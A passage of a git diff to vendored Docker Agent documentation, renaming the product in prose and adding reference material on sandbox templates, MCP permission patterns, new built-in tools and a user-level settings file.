Bypass When a models gateway (`--models-gateway` / `CAGENT_MODELS_GATEWAY`) is configured, -all models route through it by default. Set `bypass_models_gateway: true` on a -specific model to make it connect directly to its provider instead: +models without a custom `base_url` route through it by default. Set +`bypass_models_gateway: true` on a specific model to make it connect directly +to its provider instead: ```yaml models: @@ -275,7 +282,7 @@ See [`examples/bypass_models_gateway.yaml`](https://github.com/docker/docker-age ## First Available Models -Use `first_available` when the same agent should work with whichever provider credentials are available in the current environment. docker-agent checks the candidates in order at load time and replaces the selector with the first candidate whose required environment variables are configured. +Use `first_available` when the same agent should work with whichever provider credentials are available in the current environment. Docker Agent checks the candidates in order at load time and replaces the selector with the first candidate whose required environment variables are configured. ```yaml models: @@ -294,7 +301,7 @@ agents: Candidates can be inline `provider/model` references or names from the same `models:` section. Local providers such as `dmr` and `ollama` do not require credentials, so they are useful as final fallbacks. -If none of the candidates has credentials configured, docker-agent reports the missing environment variables grouped by candidate. You only need to configure one group of credentials, not every provider in the list. +If none of the candidates has credentials configured, Docker Agent reports the missing environment variables grouped by candidate. You only need to configure one group of credentials, not every provider in the list. A `first_available` model is only a selector. It cannot be combined with `provider`, `model`, `routing`, `token_key`, budgets, sampling options, or other model settings. Put those settings on named candidate models instead: @@ -382,9 +389,9 @@ models: thinking_budget: none # or 0 ``` -`none` and `0` both clear docker-agent's local thinking configuration (omitting `thinking_budget` has the same effect); neither is guaranteed to reach the API as a real "off" switch: +`none` and `0` both clear Docker Agent's local thinking configuration (omitting `thinking_budget` has the same effect); neither is guaranteed to reach the API as a real "off" switch: -- **OpenAI gpt-5.6+** (Sol/Terra/Luna) is the only case with a genuine API-level `none` reasoning effort: docker-agent sends it as-is and the model does not reason. +- **OpenAI gpt-5.6+** (Sol/Terra/Luna) is the only case with a genuine API-level `none` reasoning effort: Docker Agent sends it as-is and the model does not reason. - **Older OpenAI reasoning models** (o-series, gpt-5 through gpt-5.5) have no such switch: `none`/`0` just clear the local config, and the model falls back to the API's own default effort and still reasons internally. Same for other always-reasoning models (Gemini 3). - Providers with a true optional-thinking switch (Gemini 2.5, Claude, local models) are fully disabled by `none`/`0`. @@ -409,10 +416,10 @@ choose a tight per-call `max_tokens`. It is forwarded to Anthropic's [`output_config.task_budget`](https://platform.claude.com/docs/en/about-claude/models/whats-new-claude-4-7) -request field. docker-agent automatically attaches the required +request field. Docker Agent automatically attaches the required `task-budgets-2026-03-13` beta header whenever this field is set. -You can configure `task_budget` on **any** Claude model — docker-agent never +You can configure `task_budget` on **any** Claude model — Docker Agent never gates it by model name. At the time of writing only **Claude Opus 4.7** actually honors the field; other Claude models will reject requests that include it. Check the Anthropic release notes linked above for the current @@ -469,7 +476,7 @@ models: ## Thinking Display (Anthropic) -For Anthropic Claude models, `thinking_display` controls whether thinking blocks are returned in responses when thinking is enabled. Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default (`omitted`); docker-agent requests `summarized` thinking by default for adaptive/effort-based budgets so reasoning stays visible. Set this provider option to override: +For Anthropic Claude models, `thinking_display` controls whether thinking blocks are returned in responses when thinking is enabled. Newer Claude models (Opus 4.7+, Fable 5) hide thinking content by default (`omitted`); Docker Agent requests `summarized` thinking by default for adaptive/effort-based budgets so reasoning stays visible. Set this provider option to override: ```yaml models: diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/overview/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/overview/index.md index 7380c080c4ac..1cf01ccdd6b2 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/overview/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/overview/index.md @@ -1,6 +1,6 @@ --- title: "Configuration Overview" -description: "docker-agent uses YAML or HCL configuration files to define agents, models, tools, and their relationships." +description: "Docker Agent uses YAML or HCL configuration files to define agents, models, tools, and their relationships." keywords: docker agent, ai agents, configuration, yaml, configuration overview linkTitle: "Overview" weight: 10 @@ -9,13 +9,13 @@ aliases: - /ai/docker-agent/reference/config/ --- -_docker-agent uses YAML or HCL configuration files to define agents, models, tools, and their relationships._ +_Docker Agent uses YAML or HCL configuration files to define agents, models, tools, and their relationships._ ## File Structure -A docker-agent config can be written in YAML or HCL. The examples on this page use YAML; see [HCL Configuration](../hcl/index.md) for the block-based HCL syntax. +A Docker Agent config can be written in YAML or HCL. The examples on this page use YAML; see [HCL Configuration](../hcl/index.md) for the block-based HCL syntax. -A docker-agent config has these main sections: +A Docker Agent config has these main sections: ```bash # 1. Version — configuration schema version (optional but recommended) @@ -129,7 +129,7 @@ Models can be referenced inline or defined in the `models` section: ## Environment Variables -API keys and secrets are read from environment variables — never stored in config files. See [Managing Secrets](../../guides/secrets/index.md) for all the ways to provide credentials (env files, Docker Compose secrets, macOS Keychain, `pass`): +API keys and secrets are read from environment variables — never stored in config files. See [Managing Secrets](../../guides/secrets/index.md) for all the ways to provide credentials (env files, Docker Compose secrets, the Docker Agent env file): | Variable | Provider | | -------------------------- | --------------------------------------------------- | @@ -172,7 +172,7 @@ API keys and secrets are read from environment variables — never stored in con ## Variable Expansion in Config Fields -docker-agent expands `${env.VAR}` references in many config fields. This is the **canonical syntax everywhere** — prefer it for every field. Two engines back it: a full JavaScript evaluator for prompt/HTTP fields (where you also get defaults, ternaries, and tool calls), and a simpler path expander for filesystem/env fields (which additionally accepts the legacy `$VAR` / `${VAR}` / `~` shell forms). Picking `${env.VAR}` everywhere always works; the one caveat is that the path expander does not evaluate richer JS expressions. Using a shell-style `$VAR` in a JS-templated field is currently a silent no-op, so the literal string is passed through. Tracking issue: [#2615](https://github.com/docker/docker-agent/issues/2615). +Docker Agent expands `${env.VAR}` references in many config fields. This is the **canonical syntax everywhere** — prefer it for every field. Two engines back it: a full JavaScript evaluator for prompt/HTTP fields (where you also get defaults, ternaries, and tool calls), and a simpler path expander for filesystem/env fields (which additionally accepts the legacy `$VAR` / `${VAR}` / `~` shell forms). Picking `${env.VAR}` everywhere always works; the one caveat is that the path expander does not evaluate richer JS expressions. Using a shell-style `$VAR` in a JS-templated field is currently a silent no-op, so the literal string is passed through. Tracking issue: [#2615](https://github.com/docker/docker-agent/issues/2615). ### JavaScript template literals — `${env.VAR}` @@ -276,7 +276,7 @@ Prefer `${env.X}` everywhere. The bare `$X` / `${X}` and `~` forms are accepted ## Validation -docker-agent validates your configuration at startup: +Docker Agent validates your configuration at startup: - Local `sub_agents` must reference agents defined in the config (external OCI references like `agentcatalog/pirate` are pulled from registries automatically; pin them to a digest with `@sha256:…` to avoid a per-run registry lookup) - Named model references must exist in the `models` section @@ -294,7 +294,7 @@ For YAML editor autocompletion and validation, use the [Docker Agent JSON Schema ## Config Versioning -docker-agent configs are versioned. The current version is `12`. Add the version at the top of your config: +Docker Agent configs are versioned. The current version is `12`. Add the version at the top of your config: ```yaml version: 12 @@ -305,7 +305,7 @@ agents: # ... ``` -When you load an older config, docker-agent automatically migrates it to the latest schema. It's recommended to include the version to ensure consistent behavior. +When you load an older config, Docker Agent automatically migrates it to the latest schema. It's recommended to include the version to ensure consistent behavior. If you use a config key that requires a newer schema version, Docker Agent will fail with a strict-parse error and include a hint like: diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/permissions/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/permissions/index.md index 42e27d2e924a..4c645e7d24be 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/permissions/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/permissions/index.md @@ -104,7 +104,7 @@ Permissions support glob-style patterns with optional argument matching: | -------------- | ------------------------------ | | `shell` | Exact match for `shell` tool | | `read_*` | Any tool starting with `read_` | -| `mcp:github:*` | Any GitHub MCP tool | +| `github_*` | Any GitHub MCP tool | | `*` | All tools | ### Argument Matching @@ -219,13 +219,13 @@ Control MCP tools by their qualified names: permissions: allow: # Allow all GitHub read operations - - "mcp:github:get_*" - - "mcp:github:list_*" - - "mcp:github:search_*" + - "github_get_*" + - "github_list_*" + - "github_search_*" deny: # Block destructive GitHub operations - - "mcp:github:delete_*" - - "mcp:github:close_*" + - "github_delete_*" + - "github_close_*" ``` ## Combining with Hooks diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/routing/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/routing/index.md index 6cc224b16799..54c187bbf63f 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/routing/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/routing/index.md @@ -15,7 +15,7 @@ Model routing lets you define a "router" model that automatically selects the be > [!NOTE] > **How It Works** > -> docker-agent uses NLP-based text similarity (via Bleve full-text search) to match user messages against example phrases you define. The route with the best-matching examples wins, and that model handles the request. +> Docker Agent uses NLP-based text similarity (via Bleve full-text search) to match user messages against example phrases you define. The route with the best-matching examples wins, and that model handles the request. ## Configuration diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/sandbox/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/sandbox/index.md index 3e1bca42691c..62209fee5575 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/sandbox/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/sandbox/index.md @@ -17,7 +17,7 @@ The backend is provided by the [`docker sandbox`](https://docs.docker.com/ai/san > [!NOTE] > **Requirements** > -> Sandbox mode requires Docker Desktop with sandbox support (or a working `sbx` CLI). docker-agent shells out to these tools, it does not start raw `docker run` containers. +> Sandbox mode requires Docker Desktop with sandbox support (or a working `sbx` CLI). Docker Agent shells out to these tools, it does not start raw `docker run` containers. ## Usage @@ -27,14 +27,14 @@ Enable sandbox mode with the `--sandbox` flag on the `docker agent run` command: docker agent run --sandbox agent.yaml ``` -docker-agent launches a sandbox VM, copies itself into it, mounts the current working directory, and re-runs the agent from inside. +Docker Agent launches a sandbox VM, copies itself into it, mounts the current working directory, and re-runs the agent from inside. ## Flags | Flag | Default | Description | | ------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------- | | `--sandbox` | `false` | Enable sandbox mode. | -| `--template` | `docker/sandbox-templates:docker-agent` | OCI image used as the sandbox template. Passed to `docker sandbox create -t` / `sbx create -t`. | +| `--template` | `docker/sandbox-templates:docker-agent` | OCI image used as the sandbox template. Passed to `docker sandbox create -t` / `sbx create -t`. See [Sandbox templates](#sandbox-templates). | | `--sbx` | `true` | Prefer the `sbx` CLI backend when it is available. Set `--sbx=false` to always use `docker sandbox`. | | `--no-kit` | `false` | Disable the [auto-kit](#auto-kit) — do not stage skills or prompt files into the sandbox. | @@ -139,6 +139,78 @@ pointing at this command so you can turn the missing host into a one-line, persistent fix instead of relying on the wider conservative fallback host set. +## Sandbox templates + +A sandbox template is the OCI image the sandbox VM boots from. It determines +the base OS and the tools available inside the VM, including whether the +`docker-agent` binary is already there. `--template` (or `-t` on `sbx +create` / `docker sandbox create`) selects it. + +### The default template + +`--template` defaults to `docker/sandbox-templates:docker-agent`, the +official Docker Agent sandbox template, maintained by the Docker Sandboxes +team. See [What the default template includes](#what-the-default-template-includes) +for details. + +> [!NOTE] +> There's currently no automated process that syncs this repository's own +> template improvements into `docker/sandbox-templates:docker-agent`. Such a +> process may land later, but until then this image can lag behind the +> latest Docker Agent template build. + +### The repo-published templates + +This repository's own CI also builds and publishes a sandbox template — from +the `template` stage of the +[`Dockerfile`](https://github.com/docker/docker-agent/blob/main/Dockerfile) — +as `docker/docker-agent-sbx-templates`. It's the way to get the freshest +Docker Agent–flavored template: + +| Tag | Built from | Use it when | +| --------- | ------------------------------ | ------------------------------------------------------------------- | +| `:latest` | The most recent `v*` release | You want the newest Docker Agent template with release stability. | +| `:edge` | The current `main` branch | You want today's `main` build and can tolerate lower stability. | + +(Each release also publishes a matching version-pinned tag, e.g. +`docker/docker-agent-sbx-templates:1.2.3`.) + +Use `:latest` for normal use. Reach for `:edge` only when you specifically +need an unreleased fix or feature and can tolerate the occasional breakage. +For reproducible runs, pin to a digest instead of a tag, e.g. +`docker/docker-agent-sbx-templates@sha256:...`. + +Select one with `--template`: + +```bash +$ docker agent run --sandbox --template docker/docker-agent-sbx-templates:latest agent.yaml +``` + +Or point the [`sbx`](https://docs.docker.com/ai/sandboxes/) CLI at it +directly, without going through Docker Agent: + +```bash +$ sbx create -t docker/docker-agent-sbx-templates:latest +``` + +> [!TIP] +> The upstream [Docker Sandboxes documentation](https://docs.docker.com/ai/sandboxes/) +> covers the full `sbx` / `docker sandbox` CLI reference, independent of +> Docker Agent. + +### What they contain + +The `template` stage in this repository's +[`Dockerfile`](https://github.com/docker/docker-agent/blob/main/Dockerfile) +layers onto `docker/sandbox-templates:shell-docker` and adds: + +- The `docker-agent` binary. +- `vim` and `tmux`, for interactive debugging inside the VM. +- The **`docker-mcp`** Docker CLI plugin, installed at `~/.docker/cli-plugins/docker-mcp`. + +The image carries the label `com.docker.sandboxes.flavor=docker-agent-docker` +so sandbox tooling can identify it. + ## Example ```yaml @@ -158,23 +230,30 @@ docker agent run --sandbox agent.yaml ## How It Works -1. `--sandbox` tells docker-agent to prefer the `sbx` CLI (if available and `--sbx` is true), otherwise it falls back to `docker sandbox`. +1. `--sandbox` tells Docker Agent to prefer the `sbx` CLI (if available and `--sbx` is true), otherwise it falls back to `docker sandbox`. 2. A new sandbox VM is created from the image passed via `--template`. 3. The current working directory is mounted into the VM; the agent binary is copied in. 4. The [auto-kit](#auto-kit) is staged on the host and bind-mounted read-only into the VM, so the agent sees its skills and prompt files inside the sandbox. 5. The default-deny network proxy is opened for the configured [models gateway](../../features/cli/index.md#runtime-configuration-flags) and any package hosts the auto-installer needs for the agent's MCP/LSP toolsets. 6. All tools (shell, filesystem, background jobs, etc.) run inside the VM. -7. When the session ends, docker-agent exits but does not stop or remove the sandbox VM; both the VM and the kit are kept around so subsequent runs from the same workspace can reuse them. A fresh sandbox is created only when the mount set has changed. +7. When the session ends, Docker Agent exits but does not stop or remove the sandbox VM; both the VM and the kit are kept around so subsequent runs from the same workspace can reuse them. A fresh sandbox is created only when the mount set has changed. ### What the default template includes -The default template (`docker/sandbox-templates:docker-agent`) ships with: +The default template (`docker/sandbox-templates:docker-agent`) is a +separate image maintained by the Docker Sandboxes team. This repository +does not control its base image or contents, so no claim is made here +about what it ships with beyond being the image `docker agent run +--sandbox` uses whenever `--template` is not overridden (see +[Flags](#flags) for the exact default). -- **`docker-mcp`** CLI plugin — installed at `~/.docker/cli-plugins/docker-mcp`, available out of the box so agents can invoke `docker mcp` commands inside the sandbox without any additional setup. +For a template whose base image and contents are verified against this +repository's own build — including the `docker-mcp` CLI plugin — see +[the repo-published templates](#sandbox-templates). ## Auto-Kit -The sandbox VM has its own filesystem and `$HOME` — none of the host's `~/.agents/skills/`, `~/.claude/skills/`, project-level `.agents/skills/`, or prompt files like `AGENTS.md` and `CLAUDE.md` are visible inside it. To bridge that gap, docker-agent automatically builds a **kit**: a self-contained directory staged on the host before the sandbox starts and bind-mounted read-only into the VM at the same path. +The sandbox VM has its own filesystem and `$HOME` — none of the host's `~/.agents/skills/`, `~/.claude/skills/`, project-level `.agents/skills/`, or prompt files like `AGENTS.md` and `CLAUDE.md` are visible inside it. To bridge that gap, Docker Agent automatically builds a **kit**: a self-contained directory staged on the host before the sandbox starts and bind-mounted read-only into the VM at the same path. The kit is built whenever `--sandbox` is used with an agent reference. It is opt-out via `--no-kit`. @@ -186,7 +265,7 @@ For the agent referenced on the command line, the kit collects: - **Prompt files** — every file referenced via the agent's `add_prompt_files` (`AGENTS.md`, `CLAUDE.md`, …) is collected. Files that already live under the working directory are left alone (the live workspace mount surfaces them); files outside it (e.g. an `AGENTS.md` in `$HOME`) are copied under `/prompt_files/`. - **A manifest** — `/manifest.json` records what was staged. The on-disk copy is sanitised so it cannot be used to map the host filesystem from inside the sandbox. -Before launch, docker-agent prints a summary of what was staged so you can see exactly which skills and prompt files the agent will have access to inside the sandbox. +Before launch, Docker Agent prints a summary of what was staged so you can see exactly which skills and prompt files the agent will have access to inside the sandbox. ### Secret redaction @@ -198,7 +277,7 @@ The sandbox templates ship with a default-deny network proxy that allows the maj ### Caching -Kits are stored under the docker-agent cache directory (`~/Library/Caches/cagent/sandbox-kits/` on macOS) keyed by a content hash of the agent reference. Reusing the same agent across runs reuses the same kit directory in place; disk usage is bounded by the number of distinct agents you have run. Kits are deliberately kept on disk between runs because the reused sandbox VM holds a hard reference to the kit's bind-mount path — deleting it would leave the sandbox un-startable. +Kits are stored under the Docker Agent cache directory (`~/Library/Caches/cagent/sandbox-kits/` on macOS) keyed by a content hash of the agent reference. Reusing the same agent across runs reuses the same kit directory in place; disk usage is bounded by the number of distinct agents you have run. Kits are deliberately kept on disk between runs because the reused sandbox VM holds a hard reference to the kit's bind-mount path — deleting it would leave the sandbox un-startable. ### Disabling the kit diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/tools/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/tools/index.md index 773df257bf55..7b0268924a3d 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/tools/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/tools/index.md @@ -13,13 +13,15 @@ _Complete reference for configuring built-in tools, MCP tools, and Docker-based ## Built-in Tools -Built-in tools are included with docker-agent and require no external dependencies. Add them to your agent's `toolsets` list by `type`. Each tool's dedicated page covers its full configuration options, available operations, and examples. +Built-in tools are included with Docker Agent and require no external dependencies. Add them to your agent's `toolsets` list by `type`. Each tool's dedicated page covers its full configuration options, available operations, and examples. | Type | Description | Page | | --- | --- | --- | | `filesystem` | Read, write, list, search, navigate | [Filesystem](../../tools/filesystem/index.md) | +| `git` | Read-only repository inspection (status, log, branches, show, blame) | [Git](../../tools/git/index.md) | | `shell` | Execute shell commands synchronously | [Shell](../../tools/shell/index.md) | | `background_jobs` | Run and manage long-running shell commands | [Background Jobs](../../tools/background-jobs/index.md) | +| `scheduler` | Schedule instructions to run at a time or on a recurring interval | [Scheduler](../../tools/scheduler/index.md) | | `think` | Reasoning scratchpad | [Think](../../tools/think/index.md) | | `plan` | Shared persistent scratchpad for multi-agent collaboration | [Plan](../../tools/plan/index.md) | | `session_plan` | Per-session markdown plan for the draft-review-execute workflow | [Session Plan](../../tools/session_plan/index.md) | @@ -38,6 +40,7 @@ Built-in tools are included with docker-agent and require no external dependenci | `open_url` | Open a fixed URL in the user's default browser | [Open URL](../../tools/open-url/index.md) | | `transfer_task` | Delegate to sub-agents (auto-enabled) | [Transfer Task](../../tools/transfer-task/index.md) | | `background_agents` | Parallel sub-agent dispatch | [Background Agents](../../tools/background-agents/index.md) | +| `webhook` | Reliable notifications to a configured destination, with retries (Slack, Discord, Telegram, IFTTT, Teams, …) | [Webhook](../../tools/webhook/index.md) | | `handoff` | Local conversation handoff to another agent in the same config (auto-enabled by `handoffs:`) | [Handoff](../../tools/handoff/index.md) | | `a2a` | A2A remote agent connection | [A2A](../../tools/a2a/index.md) | | `mcp_catalog` | Discover and activate remote MCP servers from the Docker MCP Catalog on demand | [MCP Catalog](../../tools/mcp-catalog/index.md) | @@ -131,17 +134,17 @@ toolsets: | ----------------------- | ------- | --------------------------------------------------------------------------------------------------------------------- | | `remote.url` | string | URL of the MCP server. Accepts `https://`, `http://`, and `unix://` (Unix domain socket) schemes. | | `remote.transport_type` | string | `streamable` or `sse` | -| `remote.headers` | object | HTTP headers sent on every request. Values support `${env.VAR}` and `${headers.NAME}` placeholders, resolved per request. `${env.VAR}` reads an environment variable; `${headers.NAME}` forwards a header from the caller's incoming request (useful when docker-agent runs as an API server). | +| `remote.headers` | object | HTTP headers sent on every request. Values support `${env.VAR}` and `${headers.NAME}` placeholders, resolved per request. `${env.VAR}` reads an environment variable; `${headers.NAME}` forwards a header from the caller's incoming request (useful when Docker Agent runs as an API server). | | `allow_private_ips` | boolean | Permit remote MCP OAuth helper requests to dial non-public IP addresses. Use only for trusted internal servers. | ## Auto-Installing Tools -When configuring MCP or LSP tools that require a binary command, docker agent can **automatically download and install** the command if it's not already available on your system. This uses the [aqua registry](https://github.com/aquaproj/aqua-registry) — a curated index of CLI tool packages. +When configuring MCP or LSP tools that require a binary command, Docker Agent can **automatically download and install** the command if it's not already available on your system. This uses the [aqua registry](https://github.com/aquaproj/aqua-registry) — a curated index of CLI tool packages. ### How It Works -1. When a toolset with a `command` is loaded, docker agent checks if the command is available in your `PATH` -2. If not found, it checks the docker agent tools directory (`~/.cagent/tools/bin/`) +1. When a toolset with a `command` is loaded, Docker Agent checks if the command is available in your `PATH` +2. If not found, it checks the Docker Agent tools directory (`~/.cagent/tools/bin/`) 3. If still not found, it looks up the command in the aqua registry and installs it automatically ### Explicit Package Reference @@ -164,7 +167,7 @@ The format is `owner/repo` or `owner/repo@version`. When a version is omitted, t ### Automatic Detection -If the `version` property is not set, docker agent tries to auto-detect the package from the command name by searching the aqua registry: +If the `version` property is not set, Docker Agent tries to auto-detect the package from the command name by searching the aqua registry: ```yaml toolsets: @@ -223,7 +226,7 @@ The simplest knob is `profile`, which picks a preset: | Profile | Auto-restart | Use case | | --- | --- | --- | -| `resilient` | Yes | Default. Exponential backoff on disconnect; the agent keeps running if the toolset is unavailable. Matches the historical docker-agent behaviour. | +| `resilient` | Yes | Default. Exponential backoff on disconnect; the agent keeps running if the toolset is unavailable. Matches the historical Docker Agent behaviour. | | `strict` | No | Fail-fast. Marks the toolset as required. Intended for CI / headless runs where a missing dependency should be a hard error. | | `best-effort` | No | Single attempt, no retries. Good for experimental MCPs whose flakiness should not amplify into a restart loop. | @@ -446,6 +449,15 @@ toolsets: When `defer` is a list of tool names, only those specific tools are deferred; all other tools in the toolset load eagerly. Setting `defer: true` defers the entire toolset. +### Tool Discovery with `search_tool` + +When an entire toolset is deferred (`defer: true`), the deferred toolset exposes two built-in tools to the agent: + +- **`search_tool`** — Discover available deferred tools by keyword. The search uses **fuzzy matching** against both tool names and descriptions: all characters of the query must appear in the target string in order (but not necessarily adjacently), so a query like `"crfil"` matches `"create_file"`. Returns a list of matching tool names with descriptions. +- **`add_tool`** — Activate a discovered tool by name so it becomes available for use. + +These tools let the agent browse a large toolset on-demand without activating every tool upfront. + See [`examples/deferred.yaml`](https://github.com/docker/docker-agent/blob/main/examples/deferred.yaml) for a complete example. ## Combined Example diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/user-settings/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/user-settings/index.md new file mode 100644 index 000000000000..5c338dec710f --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/user-settings/index.md @@ -0,0 +1,129 @@ +--- +title: "User Settings" +description: "Full reference for the global settings block in ~/.config/cagent/config.yaml: theme, layout, YOLO, sound, snapshots, permissions, hooks, keybindings, and how they interact with agent config and CLI flags." +keywords: docker agent, ai agents, configuration, yaml, user settings, user config +linkTitle: "User Settings" +weight: 110 +canonical: https://docs.docker.com/ai/docker-agent/configuration/user-settings/ +--- + +_Full reference for the global settings block in your user config file._ + +## Where Settings Live + +Docker Agent reads a single user-level config file, independent of any agent YAML: + +```text +~/.config/cagent/config.yaml +``` + +The `settings:` block inside it holds preferences that apply to every agent you run — appearance, behavior, notifications, and a few global safety defaults. Everything under `settings:` is optional; an unset field falls back to the documented default. + +```yaml +# ~/.config/cagent/config.yaml +settings: + theme: dracula + lean: false + sound: true +``` + +You rarely need to hand-edit this file. Most fields are managed from the TUI's `/settings` dialog (**Appearance**, **Behavior**, **Notifications** tabs) — press Enter there to apply and persist a change. A few fields (`permissions`, `hooks`, `keybindings`) have no dialog UI and are only set by editing the file directly. + +> [!NOTE] +> This page documents `settings:`. The user config file also has top-level sections outside `settings:` — `aliases:`, `providers:`, `board:`, `credential_helper:`, `sandbox_allowlist:` — which are not covered here. + +## Settings Reference + +| Setting | Type | Default | Description | +| --- | --- | --- | --- | +| `hide_tool_results` | boolean | `false` | Hide tool call results in the TUI by default. Mirrors the `--hide-tool-results` flag and the Ctrl+O toggle. | +| `expand_thinking` | boolean | `false` | Start new sessions with thinking/tool blocks expanded instead of collapsed. | +| `split_diff_view` | boolean | `true` | Render file-edit diffs side-by-side instead of unified. | +| `render_images` | boolean | `true` | Render images in the TUI using the Kitty graphics protocol. Applies to both tool-result images and Markdown images in agent responses. Automatically disabled when the terminal does not support Kitty. | +| `theme` | string | `default` | Theme name, loaded from a built-in theme or `~/.cagent/themes/.yaml`. The special value `auto` follows the terminal's light/dark background. See [Theming](../../features/tui/index.md#theming). | +| `theme_dark` | string | `default` | Theme applied when `theme: auto` and the terminal background is dark. | +| `theme_light` | string | `default-light` | Theme applied when `theme: auto` and the terminal background is light. | +| `YOLO` | boolean | `false` | Auto-approve all tool calls globally, across every agent you run. Mirrors the `--yolo` flag and the `/yolo` command. | +| `lean` | boolean | `false` | Make the [lean TUI](../../features/tui/index.md#lean-tui) (simplified, minimal-chrome interface) the default for interactive runs instead of the full TUI. | +| `tab_title_max_length` | int | `20` | Maximum display length for tab titles; longer titles are truncated with an ellipsis. | +| `restore_tabs` | boolean | `false` | Restore previously open tabs when launching the TUI. | +| `sound` | boolean | `false` | Play a notification sound on task success or failure. | +| `sound_threshold` | int | `10` | Minimum duration in seconds a task must run before a success sound plays (failures always play). | +| `snapshot` | boolean | `false` | Enable automatic shadow-git snapshots at turn boundaries globally. See [Snapshots](../../features/snapshots/index.md). | +| `cache_stable_prompts` | boolean | `false` | Keep changing trusted context (date, environment info, dynamic prompt files) out of the frozen system prefix and append chronological updates instead, improving prompt-cache hit rates on long sessions. | +| `warn_on_cache_miss` | boolean | `false` | Warn when a model call after the first one in a session reports no cached input tokens (a prompt-cache miss). Managed from the **Notifications** tab of `/settings`. | +| `busy_send_mode` | string | `steer` | What happens to a message sent while the agent is working: `steer` injects it into the ongoing stream; `queue` holds it until the current turn ends. | +| `permissions` | object | _unset_ | Global tool-permission rules (`allow` / `ask` / `deny`), merged with agent-level and session-level permissions. See [Permissions](../permissions/index.md#global-permissions). | +| `hooks` | object | _unset_ | Global lifecycle hooks applied to every agent, additive with agent-config and CLI hooks. See [Global (user-level) hooks](../hooks/index.md#global-user-level-hooks). | +| `keybindings` | array | _unset_ | Remap TUI keyboard shortcuts. See [Custom Keybindings](../../features/tui/index.md#custom-keybindings) for the full list of actions and syntax. | +| `layout` | object | _unset_ | Sidebar position and section visibility. See [Layout Settings](#layout-settings) below. | + +## Layout Settings + +`layout` customizes the TUI's sidebar. The zero value (an omitted `layout:` block, or any field left out) is the default: sidebar on the right, every section visible, normal spacing. + +| Field | Type | Default | Description | +| --- | --- | --- | --- | +| `sidebar_position` | string | `right` | `right`, `left`, `top`, or `bottom`. Left/right keep a full vertical sidebar; top/bottom render a compact horizontal band. | +| `section_spacing` | string | `normal` | `compact`, `normal`, or `relaxed` — the number of blank lines between sidebar sections. | +| `hide_session_path` | boolean | `false` | Hide the working-directory (session path) line, including its git branch. | +| `hide_usage` | boolean | `false` | Hide the token-usage section. | +| `hide_agents` | boolean | `false` | Hide the Agents section. | +| `hide_tools` | boolean | `false` | Hide the Tools section. | +| `hide_todos` | boolean | `false` | Hide the Todos section. | + +```yaml +settings: + layout: + sidebar_position: left + section_spacing: compact + hide_usage: true +``` + +## Complete Example + +```yaml +# ~/.config/cagent/config.yaml +settings: + theme: auto + theme_dark: dracula + theme_light: default-light + lean: false + expand_thinking: false + split_diff_view: true + render_images: true + hide_tool_results: false + sound: true + sound_threshold: 10 + snapshot: true + cache_stable_prompts: true + warn_on_cache_miss: true + busy_send_mode: queue + restore_tabs: true + tab_title_max_length: 24 + layout: + sidebar_position: right + section_spacing: normal + permissions: + deny: + - "shell:cmd=sudo*" + allow: + - "read_*" + hooks: + session_start: + - type: command + command: "~/.config/cagent/hooks/session-start.sh" + keybindings: + - action: "commands" + keys: ["f2", "ctrl+k"] +``` + +## Precedence Rules + +User settings are the **lowest-priority** source: they establish defaults, and anything more specific wins. + +- **CLI flags over user settings — except plain boolean flags going from `true` to `false`.** Where a `docker agent run` flag mirrors a setting, passing the flag for a specific run takes precedence over the setting for that run only, and the flag never modifies the saved user config file. This holds cleanly for `--lean` / `lean` and `--theme` / `theme`, which track whether the flag was explicitly passed on the command line. `--yolo` / `YOLO` and `--hide-tool-results` / `hide_tool_results` don't: they're plain booleans with no "was this explicitly set" tracking, so passing `--yolo=false` or `--hide-tool-results=false` cannot turn a saved `YOLO: true` / `hide_tool_results: true` setting off for that run — the saved `true` wins and is reapplied on top of the flag. Passing the flag to turn either *on* (`--yolo`, `--hide-tool-results`) works as expected regardless of the saved setting. +- **Aliases sit between CLI flags and user settings.** An [alias](../../features/cli/index.md#docker-agent-alias) (`docker agent alias add ...`) can bundle its own `yolo`, `model`, `hide_tool_results`, and `sandbox` defaults; those apply when the corresponding flag was not explicitly passed, the same way user settings do, but are resolved after user settings so an alias's own choices take priority over your global defaults. +- **Permissions are merged, not overridden.** Global `settings.permissions` and an agent's own `permissions:` are combined into a single set of `deny` → `allow` → `ask` patterns before evaluation — a global deny always blocks, regardless of what the agent config allows. See [Merging Behavior](../permissions/index.md#merging-behavior). +- **Hooks are additive, not overridden.** For a given lifecycle event, hooks from the agent config, `settings.hooks`, `hooks.d/` drop-ins, and `--hook-*` CLI flags **all** run, in that order. Global hooks cannot be suppressed by an individual agent. +- **Everything else is a plain default.** Fields with no CLI or agent-config equivalent (`sound`, `sound_threshold`, `restore_tabs`, `tab_title_max_length`, `split_diff_view`, `render_images`, `cache_stable_prompts`, `warn_on_cache_miss`, `busy_send_mode`, `keybindings`, `layout`) only ever come from `settings:` (or the `/settings` dialog that writes it) — there is nothing to override them per run. diff --git a/_vendor/github.com/docker/docker-agent/docs/demo.gif b/_vendor/github.com/docker/docker-agent/docs/demo.gif index e235a4f3e27a..03d4bfc0ec7a 100644 Binary files a/_vendor/github.com/docker/docker-agent/docs/demo.gif and 